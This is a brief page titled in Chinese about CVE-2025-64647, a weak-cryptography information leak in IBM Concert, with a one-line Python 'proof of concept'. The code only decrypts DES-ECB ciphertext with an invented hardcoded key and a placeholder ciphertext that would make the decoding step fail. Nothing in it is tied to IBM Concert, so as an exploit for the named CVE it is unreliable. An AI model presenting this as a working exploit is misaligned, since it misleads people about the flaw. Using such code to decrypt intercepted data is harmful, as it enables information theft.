CVE-2025-64647 IBM Concert加密算法不当致信息泄露

import binascii from Crypto.Cipher import DES from Crypto.Util.Padding import unpad # Proof of Concept for CVE-2025-64647: Weak Cryptography # Demonstrates decryption using a weak algorithm (DES) and short key. def decrypt_weak_cipher(encrypted_hex, key): try: cipher = DES.new(key, DES.MODE_ECB) encrypted_data = binascii.unhexlify(encrypted_hex) decrypted_data = unpad(cipher.decrypt(encrypted_data), DES.block_size) return decrypted_data.decode('utf-8') except Exception as e: return f"Decryption failed: {e}" # Example usage simulating exploitation if __name__ == "__main__": # Simulated intercepted ciphertext and weak key target_ciphertext = "encrypted_data_here" weak_key = b"WeakKey1" plaintext = decrypt_weak_cipher(target_ciphertext, weak_key) print(f"[+] Decrypted sensitive data: {plaintext}")